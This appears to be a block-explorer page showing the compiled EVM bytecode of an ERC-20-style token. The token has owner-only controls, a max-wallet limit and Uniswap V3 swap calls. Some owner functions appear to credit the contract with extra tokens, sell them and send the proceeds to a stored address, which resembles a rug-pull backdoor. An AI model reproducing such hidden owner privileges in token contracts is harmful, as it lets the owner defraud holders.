481611e5e565b92915050565b60008060408385031215611ea157611ea0611bf1565b5b6000611eaf85828601611c3f565b9250506020611ec085828601611e75565b9150509250929050565b60008060408385031215611ee157611ee0611bf1565b5b6000611eef85828601611c75565b9250506020611f0085828601611c75565b9150509250929050565b60008060408385031215611f2157611f20611bf1565b5b6000611f2f85828601611c3f565b9250506020611f4085828601611c3f565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611f9157607f821691505b602082108103611fa457611fa3611f4a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611fe482611c54565b9150611fef83611c54565b925082820390508181111561200757612006611faa565b5b92915050565b600061201882611c54565b915061202383611c54565b925082820190508082111561203b5761203a611faa565b5b92915050565b7f4e6f74206f776e65722100000000000000000000000000000000000000000000600082015250565b6000612077600a83611b4a565b915061208282612041565b602082019050919050565b600060208201905081810360008301526120a68161206a565b9050919050565b600081905092915050565b50565b60006120c86000836120ad565b91506120d3826120b8565b600082019050919050565b60006120e9826120bb565b9150819050919050565b7f4661696c656420746f2073656e64204574686572000000000000000000000000600082015250565b6000612129601483611b4a565b9150612134826120f3565b602082019050919050565b600060208201905081810360008301526121588161211c565b9050919050565b60008151905061216e81611c5e565b92915050565b60006020828403121561218a57612189611bf1565b5b60006121988482850161215f565b91505092915050565b60006040820190506121b66000830185611d00565b6121c36020830184611d2a565b9392505050565b6000815190506121d981611e5e565b92915050565b6000602082840312156121f5576121f4611bf1565b5b6000612203848285016121ca565b91505092915050565b600061221782611c54565b915061222283611c54565b925082820261223081611c54565b9150828204841483151761224757612246611faa565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061228882611c54565b915061229383611c54565b9250826122a3576122a261224e565b5b828204905092915050565b7f4d61782077616c6c657420657863656564656421000000000000000000000000600082015250565b60006122e4601483611b4a565b91506122ef826122ae565b602082019050919050565b60006020820190508181036000830152612313816122d7565b9050919050565b61232381611c16565b82525050565b600062ffffff82169050919050565b61234181612329565b82525050565b61235081611c54565b82525050565b61235f81611bf6565b82525050565b6101008201600082015161237c600085018261231a565b50602082015161238f602085018261231a565b5060408201516123a26040850182612338565b5060608201516123b5606085018261231a565b5060808201516123c86080850182612347565b5060a08201516123db60a0850182612347565b5060c08201516123ee60c0850182612347565b5060e082015161240160e0850182612356565b50505050565b60006101008201905061241d6000830184612365565b9291505056fea26469706673582212207a96d9dc8530eb45bdf45899292eb4b7f9288ebe62d2b95d47f71d46d085393d64736f6c63430008140033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80638da5cb5b116100de578063c0647dfb11610097578063d8908b0e11610071578063d8908b0e1461044f578063dd62ed3e1461046d578063e609348a1461049d578063fef0006e146104b95761018e565b8063c0647dfb1461040d578063c379443314610429578063cad60236146104455761018e565b80638da5cb5b146103495780638ff003111461036757806395d89b4114610385578063a2ff484f146103a3578063a9059cbb146103bf578063ad5c4648146103ef5761018e565b8063313ce5671161014b578063470624021161012557806347062402146102c357806370a08231146102e157806376f584e214610311578063839006f21461032d5761018e565b8063313ce567146102695780633746053b146102875780633d9a3d19146102a55761018e565b806306fdde0314610193578063095ea7b3146101b157806316f0115b146101e157806318160ddd146101ff57806323b872dd1461021d57806330e0ed811461024d575b600080fd5b61019b6104e9565b6040516101a89190611bcf565b60405180910390f35b6101cb60048036038101906101c69190611c8a565b610577565b6040516101d89190611ce5565b60405180910390f35b6101e9610669565b6040516101f69190611d0f565b60405180910390f35b61020761068f565b6040516102149190611d39565b60405180910390f35b61023760048036038101906102329190611d54565b610695565b6040516102449190611ce5565b60405180910390f35b61026760048036038101906102629190611da7565b610846565b005b61027161091a565b60405161027e9190611df0565b60405180910390f35b61028f61092d565b60405161029c9190611d39565b60405180910390f35b6102ad610933565b6040516102ba9190611d39565b60405180910390f35b6102cb610939565b6040516102d89190611d39565b60405180910390f35b6102fb60048036038101906102f69190611da7565b61093f565b6040516103089190611d39565b60405180910390f35b61032b60048036038101906103269190611e0b565b610957565b005b61034760048036038101906103429190611da7565b610a01565b005b610351610c79565b60405161035e9190611d0f565b60405180910390f35b61036f610c9f565b60405161037c9190611d0f565b60405180910390f35b61038d610cc5565b60405161039a9190611bcf565b60405180910390f35b6103bd60048036038101906103b89190611da7565b610d53565b005b6103d960048036038101906103d49190611c8a565b610e27565b6040516103e69190611ce5565b60405180910390f35b6103f76111c5565b6040516104049190611d0f565b60405180910390f35b61042760048036038101906104229190611e8a565b6111eb565b005b610443600480360381019061043e9190611eca565b6112d6565b005b61044d6115dc565b005b610457611748565b6040516104649190611d39565b60405180910390f35b61048760048036038101906104829190611f0a565b61174e565b6040516104949190611d39565b60405180910390f35b6104b760048036038101906104b29190611da7565b611773565b005b6104d360048036038101906104ce9190611da7565b611847565b6040516104e09190611ce5565b60405180910390f35b600380546104f690611f79565b80601f016020809104026020016040519081016040528092919081815260200182805461052290611f79565b801561056f5780601f106105445761010080835404028352916020019161056f565b820191906000526020600020905b81548152906001019060200180831161055257829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106579190611d39565b60405180910390a36001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107239190611fd9565b9250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107799190611fd9565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107cf919061200d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108339190611d39565b60405180910390a3600190509392505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cd9061208d565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600560009054906101000a900460ff1681565b60085481565b600c5481565b600b5481565b60016020528060005260406000206000915090505481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109de9061208d565b60405180910390fd5b82600b819055508160088190555080600c81905550505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a889061208d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b775760003373ffffffffffffffffffffffffffffffffffffffff1647604051610aeb906120de565b60006040518083038185875af1925050503d8060008114610b28576040519150601f19603f3d011682016040523d82523d6000602084013e610b2d565b606091505b5050905080610b71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b689061213f565b60405180910390fd5b50610c76565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610bb29190611d0f565b602060405180830381865afa158015610bcf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf39190612174565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610c309291906121a1565b6020604051808303816000875af1158015610c4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c7391906121df565b50505b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60048054610cd290611f79565b80601f0160208091040260200160405190810160405280929190818152602001828054610cfe90611f79565b8015610d4b5780601f10610d2057610100808354040283529160200191610d4b565b820191906000526020600020905b815481529060010190602001808311610d2e57829003601f168201915b505050505081565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610de3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dda9061208d565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036110a95781600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ecd9190611fd9565b925050819055506000610ee03384611867565b9050600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610fe4576000620186a0600c54600054610f49919061220c565b610f53919061227d565b90508082600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fa1919061200d565b1115610fe2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd9906122fa565b60405180910390fd5b505b80600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611033919061200d565b925050819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110979190611d39565b60405180910390a360019150506111bf565b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110f89190611fd9565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461114e919061200d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111b29190611d39565b60405180910390a3600190505b92915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461127b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112729061208d565b60405180910390fd5b80600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611366576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135d9061208d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036113c157600080fd5b6000600954116113d057600080fd5b60006009549050600081841b905080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461142d919061200d565b92505081905550600061146730600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166127108588611972565b905060006009819055506000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016114ce9190611d0f565b602060405180830381865afa1580156114eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061150f9190612174565b9050600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b81526004016115909291906121a1565b6020604051808303816000875af11580156115af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115d391906121df565b50505050505050565b6000600954116115eb57600080fd5b600954600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461163c919061200d565b92505081905550600061167930600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166127106009546000611972565b905060006009819055506000620186a060085483611697919061220c565b6116a1919061227d565b9050600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016117009291906121a1565b6020604051808303816000875af115801561171f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061174391906121df565b505050565b60095481565b6002602052816000526040600020602052806000526040600020600091509150505481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611803576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fa9061208d565b60405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600d6020528060005260406000206000915054906101000a900460ff1681565b600080620186a0600b548461187c919061220c565b611886919061227d565b905080600160008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118d7919061200d565b9250508190555080600960008282546118f0919061200d565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119559190611d39565b60405180910390a380836119699190611fd9565b91505092915050565b60008573ffffffffffffffffffffffffffffffffffffffff1663095ea7b373e592427a0aece92de3edee1f18e0157c05861564856040518363ffffffff1660e01b81526004016119c39291906121a1565b6020604051808303816000875af11580156119e2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a0691906121df565b5060006040518061010001604052808873ffffffffffffffffffffffffffffffffffffffff1681526020018773ffffffffffffffffffffffffffffffffffffffff1681526020018662ffffff1681526020013073ffffffffffffffffffffffffffffffffffffffff168152602001428152602001858152602001848152602001600073ffffffffffffffffffffffffffffffffffffffff16815250905073e592427a0aece92de3edee1f18e0157c0586156473ffffffffffffffffffffffffffffffffffffffff1663414bf389826040518263ffffffff1660e01b8152600401611af09190612407565b6020604051808303816000875af1158015611b0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b339190612174565b91505095945050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b79578082015181840152602081019050611b5e565b60008484015250505050565b6000601f19601f8301169050919050565b6000611ba182611b3f565b611bab8185611b4a565b9350611bbb818560208601611b5b565b611bc481611b85565b840191505092915050565b60006020820190508181036000830152611be98184611b96565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c2182611bf6565b9050919050565b611c3181611c16565b8114611c3c57600080fd5b50565b600081359050611c4e81611c28565b92915050565b6000819050919050565b611c6781611c54565b8114611c7257600080fd5b50565b600081359050611c8481611c5e565b92915050565b60008060408385031215611ca157611ca0611bf1565b5b6000611caf85828601611c3f565b9250506020611cc085828601611c75565b9150509250929050565b60008115159050919050565b611cdf81611cca565b82525050565b6000602082019050611cfa6000830184611cd6565b92915050565b611d0981611c16565b82525050565b6000602082019050611d246000830184611d00565b92915050565b611d3381611c54565b82525050565b6000602082019050611d4e6000830184611d2a565b92915050565b600080600060608486031215611d6d57611d6c611bf1565b5b6000611d7b86828701611c3f565b9350506020611d8c86828701611c3f565b9250506040611d9d86828701611c75565b9150509250925092565b600060208284031215611dbd57611dbc611bf1565b5b6000611dcb84828501611c3f565b91505092915050565b600060ff82169050919050565b611dea81611dd4565b82525050565b6000602082019050611e056000830184611de1565b92915050565b600080600060608486031215611e2457611e23611bf1565b5b6000611e3286828701611c75565b9350506020611e4386828701611c75565b9250506040611e5486828701611c75565b9150509250925092565b611e6781611cca565b8114611e7257600080fd5b50565b600081359050611e8481611e5e565b92915050565b60008060408385031215611ea157611ea0611bf1565b5b6000611eaf85828601611c3f565b9250506020611ec085828601611e75565b9150509250929050565b60008060408385031215611ee157611ee0611bf1565b5b6000611eef85828601611c75565b9250506020611f0085828601611c75565b9150509250929050565b60008060408385031215611f2157611f20611bf1565b5b6000611f2f85828601611c3f565b9250506020611f4085828601611c3f565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611f9157607f821691505b602082108103611fa457611fa3611f4a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611fe482611c54565b9150611fef83611c54565b925082820390508181111561200757612006611faa565b5b92915050565b600061201882611c54565b915061202383611c54565b925082820190508082111561203b5761203a611faa565b5b92915050565b7f4e6f74206f776e65722100000000000000000000000000000000000000000000600082015250565b6000612077600a83611b4a565b915061208282612041565b602082019050919050565b600060208201905081810360008301526120a68161206a565b9050919050565b600081905092915050565b50565b60006120c86000836120ad565b91506120d3826120b8565b600082019050919050565b60006120e9826120bb565b9150819050919050565b7f4661696c656420746f2073656e64204574686572000000000000000000000000600082015250565b6000612129601483611b4a565b9150612134826120f3565b602082019050919050565b600060208201905081810360008301526121588161211c565b9050919050565b60008151905061216e81611c5e565b92915050565b60006020828403121561218a57612189611bf1565b5b60006121988482850161215f565b91505092915050565b60006040820190506121b66000830185611d00565b6121c36020830184611d2a565b9392505050565b6000815190506121d981611e5e565b92915050565b6000602082840312156121f5576121f4611bf1565b5b6000612203848285016121ca565b91505092915050565b600061221782611c54565b915061222283611c54565b925082820261223081611c54565b9150828204841483151761224757612246611faa565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061228882611c54565b915061229383611c54565b9250826122a3576122a261224e565b5b828204905092915050565b7f4d61782077616c6c657420657863656564656421000000000000000000000000600082015250565b60006122e4601483611b4a565b91506122ef826122ae565b602082019050919050565b60006020820190508181036000830152612313816122d7565b9050919050565b61232381611c16565b82525050565b600062ffffff82169050919050565b61234181612329565b82525050565b61235081611c54565b82525050565b61235f81611bf6565b82525050565b6101008201600082015161237c600085018261231a565b50602082015161238f602085018261231a565b5060408201516123a26040850182612338565b5060608201516123b5606085018261231a565b5060808201516123c86080850182612347565b5060a08201516123db60a0850182612347565b5060c08201516123ee60c0850182612347565b5060e082015161240160e0850182612356565b50505050565b60006101008201905061241d6000830184612365565b9291505056fea26469706673582212207a96d9dc8530eb45bdf45899292eb4b7f9288ebe62d2b95d47f71d46d085393d64736f6c63430008140033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.